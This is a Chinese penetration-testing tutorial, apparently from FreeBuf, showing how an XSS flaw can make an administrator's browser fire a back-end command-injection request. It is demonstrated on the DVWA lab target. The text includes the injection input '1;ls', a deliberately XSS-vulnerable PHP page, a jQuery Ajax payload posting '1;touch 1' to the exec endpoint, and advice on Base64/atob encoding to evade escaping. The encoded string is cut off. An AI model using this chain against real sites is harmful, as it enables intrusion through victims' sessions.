渗透测试 | 详解前端漏洞触发后端RCE
本文由
创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载
简介
在实际渗透测试中,经常碰到目标使用的CMS带有后台RCE漏洞,导致无法利用,但是后端RCE漏洞也可以通过目标的前端漏洞进行触发。
XSS
我们先以XSS漏洞进行触发后端RCE,该实验以DVWA靶机进行演示。在DVWA靶机的命令注入部分尝试注入命令:
1;ls
通过Burp可以查看到命令注入的请求包是POST类型:
假设目标不是DVWA靶机,而是实际环境,且目标恰好有XSS漏洞,那么就可以通过构造XSS来引诱目标管理员触发RCE。编写代码创建一个简单的带有XSS漏洞的网页,php.php:
<?php highlight_file(__FILE__); $id = $_GET['id']; echo ($id); ?>
既然有XSS漏洞了,那么怎么触发RCE请求呢?我们可以使用Ajax构造请求,如果目标没有jQuery,怎么触发Ajax请求呢?我们可以使用script标签包裹一个jQuery:
<script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
然后我们可以通过Ajax构造请求达到触发RCE,payload:
$.post('http://192.168.64.129/DVWA/vulnerabilities/exec/',function(d) { let p = $(d).contents().find('input[name=\"path\"]').val(); $.ajax({ url:'http://192.168.64.129/DVWA/vulnerabilities/exec/', type:'POST', data:{ "ip": '1;touch 1', //执行命令 "Submit": "Submit"},}); });
注意data内容与Burp抓取到的命令注入包内容一致。然后将该段代码进行Base64 Encode,防止特殊字符导致转义。
但是我们浏览器又不能自动解析Base64,所以的需要atob标签包裹解析该串Base64字符串,完整包裹语句:
atob('JC5wb3N0KCdodHRwOi8vMTkyLjE2OC42NC
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录